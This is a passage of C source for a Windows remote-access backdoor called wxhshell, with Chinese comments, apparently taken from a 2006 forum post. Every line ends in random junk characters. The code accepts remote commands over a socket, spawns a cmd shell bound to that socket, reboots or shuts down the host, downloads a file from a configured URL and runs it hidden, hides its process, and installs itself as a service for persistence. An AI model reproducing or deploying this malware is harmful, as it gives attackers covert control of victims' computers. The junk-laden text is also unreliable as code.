  } =5(>q5Z*  
  else { $w);5o  
{M^3m5.^  
    switch(cmd[0]) { %nV]ibp2)  
  Cd>WUw  
  // 帮助 "O%gFye  
  case '?': { 'a\%L:`  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); G}ob<`o|"  
    break; H\0~#(z?.  
  } f7X6fr<  
  // 安装 E: $P=%b  
  case 'i': { ,#L=v]  
    if(Install()) 6er-{.L=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &C "L  
    else Y]B)'[=h  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); WZ*ws[dVI  
    break; VCD:3U 8  
    } H?)w!QX  
  // 卸载 Na?!;1]_  
  case 'r': { RM!<8fXYD  
    if(Uninstall()) |4uWh  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )C(? bR  
    else [Z}9>~m  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4Dw@r{  
    break; Dk(1}%0U/  
    } \kU &^Hi  
  // 显示 wxhshell 所在路径 s#)5h0t#du  
  case 'p': { <7j87  
    char svExeFile[MAX_PATH]; BA%pY|"Q  
    strcpy(svExeFile,"\n\r"); '<ZlGFt'n  
      strcat(svExeFile,ExeFile); 'gPzm|f|t@  
        send(wsh,svExeFile,strlen(svExeFile),0); k6sI L3QJ0  
    break; }Du}c3  
    } 'i4_`^:+  
  // 重启 :uK? 4  
  case 'b': { ecCr6)  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); T`;%TO*Y  
    if(Boot(REBOOT)) 8(~K~q[Cr  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); zhpt%7So  
    else { Cif>7]M  
    closesocket(wsh); _U |>b>  
    ExitThread(0); o .qf _A  
    } oBzfbg8p  
    break; H\:lxR^  
    } |Y[wzDYV  
  // 关机 7 D^gMN%p  
  case 'd': { [`c^ 4 E  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); zY"1drE>G  
    if(Boot(SHUTDOWN)) @M5#S7q";  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9+{G8$Ai  
    else { JSTuXW  
    closesocket(wsh); O"c;|zCc>  
    ExitThread(0); y6[IfcN  
    } |>tKq;/  
    break; YYu6W@m]  
    } v,4pp@8rv  
  // 获取shell 3 %|86:*  
  case 's': { 3P^sM1  
    CmdShell(wsh); 'F$l{iR  
    closesocket(wsh); PEuIWXr  
    ExitThread(0); 7,lq}a8z  
    break; ^ml'?  
  } #7 q7PYG4  
  // 退出 2gq9k}38  
  case 'x': { @]-jl}:]  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); @++.FEf  
    CloseIt(wsh); 1M 781  
    break; ZGYr$C~  
    } O2f-5Y$@  
  // 离开 ),ma_{$N  
  case 'q': { f'VX Y-  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); i-6F:\;  
    closesocket(wsh); qCqFy#Ms\  
    WSACleanup(); |(q9"  
    exit(1); Y<Fz)dQo  
    break; {O`w,dMOI  
        } '4|-9M3f  
  } }9W4"e2)  
  } ?l^1 *Q,  
zN"J}r:  
  // 提示信息 Y#lk6  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7U2J xE  
} Ooq! 0g  
  } v4.#;F.\m  
oWC@w  
  return; }`,t$NV`  
} h?;T7|^  
TG+VEL |T  
// shell模块句柄 Nd cg/d  
int CmdShell(SOCKET sock) #[`:'e  
{ vWf; 'j  
STARTUPINFO si; < VSA  
ZeroMemory(&si,sizeof(si)); jhg;%+KB  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ?)1{)Erf8x  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; GP:77)b5  
PROCESS_INFORMATION ProcessInfo; _G.>+!"2/  
char cmdline[]="cmd"; UM6(s@$  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); s8#X3Rp  
  return 0; *UmI]E{g3(  
} J_v$YwE  
@p NNq  
// 自身启动模式 WUsKnf  
int StartFromService(void) 371 TvZ4  
{ HO}Hh[{V9  
typedef struct 9uBM<  
{ ~(IB0=A{v  
  DWORD ExitStatus; i2&ed_h<?  
  DWORD PebBaseAddress; _cJ2\`M  
  DWORD AffinityMask; -cSP _1  
  DWORD BasePriority; (;57Vw  
  ULONG UniqueProcessId; hijgF@  
  ULONG InheritedFromUniqueProcessId; GrAujc5|  
}   PROCESS_BASIC_INFORMATION; p n.T~"%  
;F~LqC$  
PROCNTQSIP NtQueryInformationProcess; g;8jK 8 Kh  
}woo%N P  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; mA*AeP_$  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; eZdu2.;<  
?hWwj6i&  
  HANDLE             hProcess; 9=V:&.L  
  PROCESS_BASIC_INFORMATION pbi; HOE_S!N  
a8i]]1Blz  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); W034N[9  
  if(NULL == hInst ) return 0; |<.lW  
+{W>i;U  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); U]vYV  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); z3K6%rb-  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); -:Ia^{YN  
cg m~>  
  if (!NtQueryInformationProcess) return 0; L.1_(3NG  
]b%Hy  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ?$6Y2  
  if(!hProcess) return 0; q&/Yg,p\  
u*tN)f3  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; :SGF45>B@  
9lW;Nk*j:  
  CloseHandle(hProcess); Yl#Rib  
j  S?xk  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); KOp162X>r  
if(hProcess==NULL) return 0; 'F _8j;  
X(\fN[;  
HMODULE hMod; weE/TW\e  
char procName[255]; <Gt2(;  
unsigned long cbNeeded; o(r\E0 I  
R&Jm +3N  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); $n+w$CI)  
;ml)l~~YU  
  CloseHandle(hProcess); ;r>snJ=M  
+tk{"s^r*  
if(strstr(procName,"services")) return 1; // 以服务启动 .$%Soyr?,  
3plzHz,x  
  return 0; // 注册表启动 'C ~ y5j  
} L}}y'^(  
K!'AkTW+-  
// 主模块 C0 /g1;p(  
int StartWxhshell(LPSTR lpCmdLine) w - Pk7I  
{ 3&[>u;Bp  
  SOCKET wsl; DiEluA&w9  
BOOL val=TRUE; M5*{  
  int port=0; I{lT>go  
  struct sockaddr_in door; ,>:;#2+og  
]Qfn(u=o  
  if(wscfg.ws_autoins) Install(); 3'c0#h@VD  
N\#MwLm  
port=atoi(lpCmdLine);  k7>|q"0C  
e=Z, Jg  
if(port<=0) port=wscfg.ws_port; Sz^5b!  
;z IP,PMM  
  WSADATA data; spGB)k,^  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; |/2y-[;:  
qd#sY.|1  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   p"FW&Q=PN  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); }*ZHgf]~#  
  door.sin_family = AF_INET; )~+e`q  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); sm\f0P!rv  
  door.sin_port = htons(port); F^5?\  
sp5eVAd  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Tjl:|F8  
closesocket(wsl); OnF3lCmu  
return 1; IZ =Mlu  
} HE'2"t[a  
{iv<w8CU)  
  if(listen(wsl,2) == INVALID_SOCKET) { l411a9o  
closesocket(wsl); O=$~O\}b  
return 1; 9$Xu,y  
} 2Ri{bWi  
  Wxhshell(wsl); /}PF\j9#4  
  WSACleanup(); @*qz(h]\  
GHsilba  
return 0; n[]tXrhU  
) :\xHR4  
} (d<4"!  
)@L'wW  
// 以NT服务方式启动 Wt=|  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) +\|Iu;w  
{ ;Y; qg  
DWORD   status = 0; 59!Fkd3  
  DWORD   specificError = 0xfffffff; LNa$ X5`  
`X`2:@gQ  
  serviceStatus.dwServiceType     = SERVICE_WIN32; E[*Fz1>  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; aS pWsT  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; #F*1V(!  
  serviceStatus.dwWin32ExitCode     = 0; ,daKC  
  serviceStatus.dwServiceSpecificExitCode = 0; E6,4RuCK  
  serviceStatus.dwCheckPoint       = 0; Z0*ljT5|  
  serviceStatus.dwWaitHint       = 0; <6fv1d+v  
Oer^Rk  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); X*,%&6O*  
  if (hServiceStatusHandle==0) return; sp ]zbX?  
KLL;e/Gf  
status = GetLastError(); x#Q>J"g  
  if (status!=NO_ERROR) {fEwA8Ir  
{ lr{?"tl_  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ' /$d0`3B>  
    serviceStatus.dwCheckPoint       = 0; ,N e;kI  
    serviceStatus.dwWaitHint       = 0; ^RP)>d9Xp{  
    serviceStatus.dwWin32ExitCode     = status; DZv=\<$,LF  
    serviceStatus.dwServiceSpecificExitCode = specificError; [ e8x&{L-_  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Vm df8[5  
    return; n':!,a[  
  } .p=sBLp8  
*0}3t <5  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ^kgBa27  
  serviceStatus.dwCheckPoint       = 0; ~{D[ >j][  
  serviceStatus.dwWaitHint       = 0; 8?i7U<CB  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); (&P9+Tl  
} 0q*r  
1 I*7SkgKv  
// 处理NT服务事件,比如:启动、停止  (:";i&  
VOID WINAPI NTServiceHandler(DWORD fdwControl) `KCh*i  
{ Da v PYg  
switch(fdwControl) d5>H3D{49  
{ (C\hVy2X?N  
case SERVICE_CONTROL_STOP: Hw|AA?,0-  
  serviceStatus.dwWin32ExitCode = 0; u@.>Z{h  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; aj"M>zd*}  
  serviceStatus.dwCheckPoint   = 0; RKa}$ 7  
  serviceStatus.dwWaitHint     = 0; ZWm8*}3]7_  
  { !TP@- X;  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); yY&3p1AxW]  
  } LS5vW|]w  
  return; Qq@G\eRo  
case SERVICE_CONTROL_PAUSE: ` AkIK*  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; NO0"*c;  
  break; S<L.c  
case SERVICE_CONTROL_CONTINUE: W?We6.%  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; sz9G3artK&  
  break; <97d[/7i  
case SERVICE_CONTROL_INTERROGATE: :KKa4=5L  
  break; " beQZG  
}; +R\vgE68  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); sT/c_^y  
} RC^9HuR&  
5|I[>Su  
// 标准应用程序主函数 q\q=PB6r  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ErT{(t7  
{ `xc^_781\  
7]BW[~77  
// 获取操作系统版本 `-\/$M9s=  
OsIsNt=GetOsVer(); Hi yc#-4  
GetModuleFileName(NULL,ExeFile,MAX_PATH); "&/]@)TPz  
Qf| U0  
  // 从命令行安装 nZ_v/?O  
  if(strpbrk(lpCmdLine,"iI")) Install(); ,j?.4{rHJ  
+hRmO  
  // 下载执行文件 c=[O `/f  
if(wscfg.ws_downexe) { 1N\D5g3  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) c=;:R0_'t  
  WinExec(wscfg.ws_filenam,SW_HIDE); x%<  
} =B];?%  
1Fe^Qb5G  
if(!OsIsNt) { (Si=m;g  
// 如果时win9x,隐藏进程并且设置为注册表启动 .,i(2^  
HideProc(); *1'`"D~  
StartWxhshell(lpCmdLine); jV/CQM5a+  
} >;#=gM  
else \NG C$p n  
  if(StartFromService()) 8LI-gp\ 2  
  // 以服务方式启动 WA$>pG5s  
  StartServiceCtrlDispatcher(DispatchTable); `Rd m-[&  
else CAU0)=M  
  // 普通方式启动 0vGyI>  
  StartWxhshell(lpCmdLine); ;oxAe<VIj  
^Q{Bq  
return 0; Qe'g3z>  
}
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只看该作者 1 发表于: 2006-10-10
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